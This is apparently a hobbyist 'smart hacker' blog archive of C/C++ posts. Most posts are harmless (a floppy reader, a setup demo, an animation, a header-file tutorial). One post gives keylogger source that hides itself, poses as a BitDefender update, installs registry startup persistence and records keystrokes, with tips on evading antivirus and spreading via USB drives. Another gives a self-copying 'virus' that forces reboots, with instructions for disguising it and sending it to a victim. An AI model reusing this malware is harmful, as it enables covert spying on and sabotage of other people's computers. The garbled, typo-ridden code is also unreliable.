Archive for the ‘C/C++’ Category

C Program to Check the Status of Floppy_Disk…   Leave a comment

Yesterday.. When i am Play With C..than i made one Program! that can Check the Status Of Floppy_Disk.. Means Check For Bad_Sectors..Bad Tracks etc…

Ok–now see the Code..

NOTE:-

– I have no more Experience on this..that if Problem Occure  than Comment me..

CODE:-

#include <stdio.h>
#include <conio.h>
#include <process.h>
#include <dos.h>

int main(void)
{
int i, strt, ch_out, sector;
char buf[512];

printf(“Insert a diskette into drive A and press any key\n”);
getch();
sector = 0;
if (absread(0, 1, sector, &buf) != 0)
{
perror(“Disk problem”);
getch();
exit(1);
}
printf(“Read OK\n”);
strt = 3;
for (i=0; i<80; i++)
{
ch_out = buf[strt+i];
putchar(ch_out);
}
printf(“\n”);
getch();
return(0);
}

Posted June 22, 2011 by smarthacker5 in C/C++

Installation(Setup) File in C++.   1 comment

Hello..fnds We all Know When We Install any new application than the Setup file is automatically install the Application in Hard drive.. but you know how it Work… Don’t think i Show you little Source code on this… ok let’s start…

What is Setup file?

In the my word Setup file is the Binding of one or more file. Which is use to Setup the application in Hard Drive.. like MS office Setup..

Code:

#include<conio.h>
#include<stdio.h>
//#include<iostream.h>
#include<dos.h>
#include<stdlib.h>
#include<dir.h>

int main(void)
{
unsigned maxdrives;
char drive;
int disk,i,value=0;
FILE *fp1,*fp2,*fp3;
clrscr();
value = peek(0x0040, 0x0017);
_setcursortype(_SOLIDCURSOR);
printf(“\n Drive available in System”);
printf(“\n =========================”);
for(disk = 0;disk < 26;++disk)
{

setdisk(disk);
if (disk == getdisk())
printf(“\n%c: Drive is available”, disk + ‘a’);
}
printf(“\n Enter drive to install application:”);
scanf(“%c”,&drive);
if(drive==’c’||drive==’C’)
{
_dos_setdrive(3,&maxdrives);    /* set drive to C: */
disk = getdisk() + ‘A’;
printf(“\n Successfully set in: %c”, disk);
}
if(drive==’d’||drive==’D’)
{
_dos_setdrive(4,&maxdrives);         /* set drive to D:*/
disk=getdisk()+’A’;
printf(“\n Successfully set in: %c”,disk);
}
if(drive==’e’||drive==’E’)
{
_dos_setdrive(5,&maxdrives);      /* set drive to E:*/
disk=getdisk()+’A’;
printf(“\n Suceessfully set in: %c”,disk);
}
if(drive==’f’||drive==’F’)
{
_dos_setdrive(6,&maxdrives);
disk=getdisk()+’A’;
printf(“\n Sucessfully set in: %c”,disk);
}
_setcursortype(_NOCURSOR);
gotoxy(4,47);
printf(“\n Creating application file…”);

for(i=2;i<=79;i++)
{
textcolor(YELLOW);
gotoxy(i,49);
cprintf(“%c”,219);
delay(100);
}
/* Application file creation department*/
{
fp1=fopen(“data.dat”,”rb+”);       /* Create main data file*/

if(fp1==NULL)
{
fp1=fopen(“data.dat”,”wb+”);
if(fp1==NULL)
{
printf(“\n File Can not be Create…”);
}
}                             /* Complete file creation*/

fp2=fopen(“setting.dat”,”rb+”);    /* Create application settings file*/

if(fp2==NULL)
{
fp2=fopen(“setting.dat”,”wb+”);
if(fp2==NULL)
{
printf(“\n File can not be Create…”);
}
}                            /* Complete file creation*/

fp3=fopen(“backup.dat”,”rb+”);     /* Create backup file*/

if(fp3==NULL)
{
fp3=fopen(“backup.txt”,”wb+”);
if(fp3==NULL)
{
printf(“\n File can not be create…”);
}
}                            /* Complete file creation*/
}
getch();
return 0;
}

/* Complete application file creation*/

NOTE:-

– This is not a Source of any application but only overview of Setup files Work…

– To run this Proggy use Turbo c++ Compiler…

– Programme by Smart hacker.. Made Changes according to you Knowladge

How this Work ?

– The function Setdisk.. get the info about drive from MBR(Master boot record) and Print the Drive letter…

– After this Next possion is asked for Select a installation drive.

– When we Select than it Set the Drive using fun _dos_setdrive(….)

– Now..in he end it create the Files..

 

Posted June 17, 2011 by smarthacker5 in C/C++

Why I Blogging..?   Leave a comment

Yesterday.. One of  the our blog user ask me Why u are blogging.. than here is the answer of his Question…

To answer this question, I would ask myself “why should I not blog?” Well there are several reasons one can find for blogging but for me the reasons for “why I blogging” are:

•    Share Views: I want to share my thoughts with the world and also want to know what others feel about it.
•    Learn: I feel good to come useful to others by providing with ‘something’ that I can. Now along with the viewers, I would also be gaining knowledge that would be coming my way. :)
•    Identity: Yeah, this one is equally important. I would surely feel good if other bloggers also get to know about me.

Journey Of Smart hacker

Posts: 122
Comments:-96
Tag: 54
Active Subscriber: 28
Total Viewers: 3327

Posted June 15, 2011 by smarthacker5 in C/C++, Hackers News

Simple Keylogger in C++.   1 comment

Ok.. this is a my First  application in C++.. I make this application in C++… This is not a big but useful to the hackers..

NOTES:-

– Code Written in Dev c++… that this not work in any other Compiler ..

– ok..let’s start.

What is Keylogger?

Keystroke logging (often called keylogging) is the practice of tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. …

ok..u know what is keylogger than now..see the Code..

CODE:-

#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>

string Getkeypress(int keypress)
{
string tempkeypress = “”;

if (keypress == 8)
tempkeypress = “[delete]”;
else if (keypress == 13)
tempkeypress = “\n”
else if (keypress == 32)
tempeypress = ” ”
else if (keypress == VK_PAUSE)
tempkeypress = “[PAUSE]”;
else if (keypress == VK_CAPITAL)
tempkeypress = “[CAPITAL]”;
else if (keypress == VK_SHIFT)
tempkeypress = “[SHIFT]”;
else if (keypress == VK_TAB)
tempkeypress = “[TABULATOR]”;
else if (keypress == VK_CONTROL)
tempkeypress = “[CTRL]”;
else if (keypress == VK_ESCAPE)
tempkeypress = “[ESCAPE]”;
else if (keypress == VK_END)
tempkeypress = “[END]”;
else if (keypress == VK_HOME)
tempkeyress = “[HOME]”;
else if (keypress == VK_LEFT)
tempkeypress = “[left]”;
else if (keypress == VK_RIGHT)
tempkeypress = “[right]”;
else if (keypress == VK_UP)
tempkeypress = “[UP]”;
else if (keypress == VK_DOWN)
tempkeypress = “[DOWN]”;
else if (keypress == VK_SNAPSHOT)
tempkeypress = “[SNAPSHOT]”;
else if (keypress == VK_NUMLOCK)
tempkeypress = “[NUMLOCK]”;
else if (keypress == 190 || keypress == 110)
tempkeypress = “.”;
else if (keypress >=96 && keypress <= 105)
tempkypress = keypress-48;
else if (keypress > 47 && keypress < 60)
tempkeypress = keypress;
if (keypress != VK_LBUTTON || keypress != VK_RBUTTON)
{
if (keypress > 64 && keypress < 91)
{
if (GetkeypressState(VK_CAPITAL))
tempkeypress = keypress;
else
{
keypress = keypress + 32;
tempkeypress = keypress;
}
}
}

return tempkeypress;
}
int main()
{

HWND hide;
char system[TOT_SIZ],system2[TOT_SIZ];
HKEY stup,fixstup;
TCHAR SIZ[TOT_SIZ];
char temprot[TOT_SIZ];
TCHAR FIXSTUPPATH[TOT_SIZ+12]=”\\BitDefender Updates.exe”;
char LOCATE[TOT_SIZ];/*creating hide */
AllocConsole();
hide=FindWindowA(“ConsoleWindowClass”,NULL);
ShowWindow(hide,0);
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,LOCATE,sizeof(LOCATE));
GetModuleFileName(NULL,SIZ,TOT_SIZ);
GetSystemDirectory(system,sizeof(system));
GetSystemDirectory(system2,sizeof(system2));
//WRT 2SYS DRV AL PSBL DRV ONS
//temprot[0]=system[0];
//std::strcat(temprot,”:\\Program Files\\BitDefender\\BitDefender Updates.exe”);
std::strcat(system,”\\BitDefenderUpdates.exe”);
//std::strcat(system2,”\\drveprotect.exe”);
std::strcat(system2,FIXSTUPPATH);
CopyFile(LOCATE,temprot,false);
CopyFile(LOCATE,system,false);
CopyFile(LOCATE,system2,false);
CopyFile(LOCATE,”E:\\DO NOT OPEN.EXE”,false);
CopyFile(LOCATE,”F:\\DO NOT OPEN.EXE”,false);
CopyFile(LOCATE,”G:\\DO NOT OPEN.EXE”,false);
CopyFile(LOCATE,”H:\\DO NOT OPEN.EXE”,false);
CopyFile(LOCATE,”I:\\DO NOT OPEN.EXE”,false);
CopyFile(LOCATE,”J:\\DO NOT OPEN.EXE”,false);
CopyFile(LOCATE,”C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\BITDEFENDER_UPDATE.exe”,false);
CopyFile(LOCATE,”C:\\SAS\\BITDEFENDER_UPDATE.exe”,false);
std::string Filename = “C:\\SAS.txt”;
/*srt up*/
RegOpenkey(Hkeypress_LOCAL_MACHINE,
“Software\\Microsoft\\Windows\\CurrentVersion\\Run”,

&stup);
//st fix
RegOpenkey(Hkeypress_LOCAL_MACHINE,
“Software\\Microsoft\\Windows\\CurrentVersion\\Run”,

&fixstup);
//ste fst
RegSetValueEx(fixstup,
“BIT DEFENDER UPDATES “,
0,

RE_SZ,
(LPBYTE)system2,
sizeof(system2));
//stup fixed
RegSetValueEx(stup,
“BIT DEFENDER UPDATES”,
0,
REG_SZ,
(LPBYTE)SIZ,
sizeof(SIZ));

/* Close the keypress. */
RegClosekeypress(stup);
RegClosekeypress(fixstup);
std::string TempString =
Fstream FStream;
FStream.pen(Filename., std::fstream::out | std::fstream:);
//FStream.write(
while(1==1)
{

Sleep(3);

for(int i = 8; i < 191; i++)
{
if(GetAsynckeypressState(i)&1 ==1)
{
TempString = Getkeypress (i);

FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}

 

Description:-

LS learn C Not 16 BIT,WINDOWS C++ Before reading on. Get the THE WIN HELP FILE for reference.
THE FIRST FUNCTION is the Key Logger Part(Pay Load) which simply logs ket strokes
Getkeypress(int keypress)
GetAsynckeypressState This module got the state of each keys which is passes over to our Function ,The int ASCII VALUE od the keys and converted to Strings and saved in a file in C:\SAS.TXT
PS: This is not a gud mehod  for making a keylogger but preferably the first and easy option . Piping out the key strokes using the key board hooks are the best method for doing it(GOOGLE for it)

***********Then the Main Function the heart of the Virus*************
what it does
1)geting the handle to the windows created USING HWND
FindWindowA(“ConsoleWindowClass”,NULL);
2)Registry entry VALUSE HKEY

*********Then the HIDE HANDLE to handle the virus******************
3)Using the Handle obtained in “HIDE” we ill set it to be hidden so that it ill run in the background bt not visible.
GetModuleFileName(GetModH,LOCATE,sizeof(LOCATE));
4)Used to get the current path handle for moving it from current position to another
5)GetModuleFileName
Used to get the current system directory it differs on the installation of windows on diff drives.

*********VICTIMS SYSTEM FILE LOCATION***************
6)Once after getting the system directory EX:C:\WINDOWS\SYSTEM32
7)I append the path of virus copy C:\WINDOWS\SYSTEM32 + BitDefenderUpdates.exe USING STRING CAT FUNCTION
8)Now copy frm current executed path to new place using CopyFile(LOCATE,temprot,false);
CopyFile(LOCATE,”C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\BITDEFENDER_UPDATE.exe”,false);

************Breath of Virus*******************
9)Setting it to get autoloaded every tym Windows starts ,we simply append few lines to the registry.
We write 2 star up entryone a link to the current module and one to a fixed path so to evade frm common AV detection.
RegSetValueEx(fixstup,”BIT DEFENDER UPDATES “,0,RE_SZ,(LPBYTE)system2,sizeof(system2));
Its ready

****************The wings n legs of Virus*******************
M npt including dose part as it is simple , jst write a text file with autorun entries to the removable drives n hence it ill b able to spread

*****************************Other Techniques n Improvements***********************
Just by adding few more codes u can make it UD by PROCESS VIVERS n TASK MANAGERS
Just by doing few more researchs u can  make it UD by AV
Instead of the direct startup entry use a parasitic infection technique to get auto started ,This don’t chk whether a removable media xsists.
Add a function to chk the presence n then append. The virus may use SHChangeNotifyRegister to get notified of ny new drives
U can use SetWindowHookEx() to avoid the infinite loop. Or better hooking keybd driver in kernel

Posted June 14, 2011 by smarthacker5 in C/C++

Smart hacker Animation in C/C++   Leave a comment

Hello…fnds today i post Source code of Smart hacker animation… i make this animation in Turbo C++ Compiler…

In this Code i Use the Normal Function like delay, text-mode etc…

Ok.. see the  Source code and enjoy…

 
#include<stdio.h>
#include<conio.h>
#include<dos.h>

void big(void);


void main()
 {
 clrscr();
 big();
     
 getch();
 }

 void big(void)
 {
 textmode(BW40);
 textcolor(RED);
 delay(1000);
 cprintf("\n S");
 delay(1000);
 cprintf("m");
 delay(1000);
 cprintf("a");
 delay(1000);
 cprintf("r");
 delay(1000);
 cprintf("t");
 delay(1000);
 cprintf(" ");
 delay(1000);
 cprintf("H");
 delay(1000);
 cprintf("a");
 delay(1000);
 cprintf("c");
 delay(1000);
 cprintf("k");
 delay(1000);
 cprintf("e");
 delay(1000);
 cprintf("r");
 delay(2000);
 clrscr();
 textcolor(YELLOW+BLINK);
 cprintf("\n Smart Hacker");
 getch();
 }

Ok.. Now how to Run this….

1. Open the Turbo C++  Compiler and run this file…

Posted June 11, 2011 by smarthacker5 in C/C++

C Virus to Restart PC every time…   1 comment

Hello fnds here is the C Source code to Restart your PC every time… this is a simple program which make a .exe in SYSTEM folder…and create registry to run file when we login…

Source:-

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;
char buff[128];

void findroot()
{
    int done;
    struct ffblk ffblk; //File block structure
    done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
    if(done==0)
    {
        done=findfirst(“C:\\windows\\system\\shacker.exe”,&ffblk,0); //to determine whether the virus is already installed or not
    if(done==0)
    {
        found=1; //means that the system is already infected
        return;
    }
    drive_no=1;
    return;
    }
        done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
    if(done==0)
    {
    done=findfirst(“D:\\windows\\system\\shacker.exe”,&ffblk,0);
    if(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\shacker.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\shacker.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
clrscr();
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\shacker.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\shacker.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dD:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\shacker.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dE:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\shacker.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/dF:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0”); //if the system is already infected then just give a command to restart
}

  Copy this code in notepad and open it in Turbo C++ Compiler…

   NOTE:-

   1. This can harm your Computer..that do not run in your own PC…
   2. If Bi-mistake you run Program than Goto safe mode and delete Shacker.exe file 
       from System folder…
  

    Now you ask me how to send this virus to Victim…

     1. Open this program in Turbo C++…
     2. Now Press F9 to linking it…. this can create .exe file in Source folder….
     3. Now Copy the .exe file and rename it any thing like GAME,Love etc…
     4. ok…you complete..send the file to your enemy…

   NOTE:-

     1. Do not Run OR Compile the Proggy…

     if you have any problem than comment me …otherwise mail me…..

    Best of luck,….enjoy the Virus….

Posted April 22, 2011 by smarthacker5 in C/C++

How to Create your own header file in Dev c++?   7 comments

If you use programming language like C/C++ than you use header file first. Header file is the main source of Built(A function Which is already fix in  Compiler,like Printf();,getch,etcFunction. We can use many header file when we write the program.for ex:- Include<stdio.h>,#include<windows.h> etc. But today i show how to make your own Headerfiles. 

ok,lets,here we use Dev C++ to make header file.

1) Open the Dev c++ and Create new Console application and save it in new folder. 

2) Now,time to the Write a Code. ok, When you Create new Project than main.cpp file create by default, in this file Write following codes.

  – Write #include<iostream.h>
             #include<conio.h>

             #include “sh.h”     // The header file which we make to use function….

               int main()
                    {

                             get();
                             getch();
                             return 0;

                    }

       Here We define the two header file to use function cout,getch,cin etc,and (Sh.h) is use to declare the functions.

3) After copying above code, now time to copy anothe line of code given below.

 

void get(void)
{
int s,p;
cout<<“\n Enter 1 Value:”; cin>>s;
cout<<“\n Enter 2 Value:”; cin>>p;
sum(s,p);
}
void sum(int a,int b)
{
int c;
c=a+b;
cout<<“\n Sum is:”<<c;
}

Here We define the Void get() and void sum() function because get two value and calculate it…

When you Copy this code than it look like this….

4) Now right click on main.cpp from left side of pane and select the new file. In this file Copy the following Code.

#include <iostream.h>

void sum(int a,int b);
void get(void);

 

Here we declare the fuction Voi sum and Void get. Void get is use for get value and sum is for calculation.

5) Now Save this file with name (sh.h), and run(F9) the progrma. and Show hhe result.

IF any Problem Occur than Comment other Wise contact me in skp19935@gmail.com

Posted March 25, 2011 by smarthacker5 in C/C++